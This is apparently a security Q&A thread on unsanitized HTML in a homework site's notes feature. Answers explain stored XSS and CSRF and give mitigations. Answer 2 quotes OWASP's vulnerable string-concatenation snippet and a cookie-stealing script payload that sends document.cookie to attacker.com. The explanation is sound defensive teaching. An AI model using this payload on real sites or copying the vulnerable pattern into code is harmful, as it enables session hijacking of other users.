Unsanitized HTML input

Question

My school uses the website WebAssign for online math and science homework. One of WebAssign's features is a "My Notes" section that allows you to input notes for a problem and come back to it later without actually submitting the answer.

The "My Notes" dialog has an <input> button to edit the text, and a <div> whose innerHTML is the raw contents of the notes. This means that, for example, writing π in the notes box will cause π to appear in the rendered view.

Another interesting side effect is that it's the rendered HTML that's copied into the box for further editing. For example, writing > and then pressing "Edit" and "Save" repeatedly would result in the sequence > → > → > showing up in the editor.

You can also break the page by writing something like </div></body></html>, which is injected into the HTML raw.

My question is whether there's anything inherently dangerous to the server or any other users of the website here. It would seem to me that there isn't—I have no indication that the server is actually executing any scripts, etc. that I might put in there, only storing the text and feeding it back later. However, there also seems to be something just wrong about this lack of sanitization in a production website. So is this a problem?

Answer 1

Looking at your description, the application seems to be vulnerable to Cross-Site Scripting (XSS). Such attack can lead to the compromise of student accounts and even accounts with higher privileges. This can be demonstrated by:

1. The victim clicks a shortened link leading to http://evil.com.

2. The page http://evil.com contains a hidden 'My Notes' form that is pre-filled with malicious <script> (a script that sends the user's cookie to the attacker).

3. The form is automatically submitted to the legitimate WebAssign URL (not that the request is sent from the victim's browser, meaning that it is sent with the victim's cookie).

4. The legitimate WebAssign page is rendered with the malicious <script> which is executed and the victim's cookie is sent to the attacker.

This can be mitigated by properly sanitizing the user-supplied HTML content before sending it to the browser and by setting the HttpOnly flag with the cookies.

Answer 2

The vulnerabilities you describe open other users to Cross-Site Scripting (XSS) attacks.

An example directly from the OWASP site:

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";

The attacker modifies the 'CC' parameter in their browser to:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi
?foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.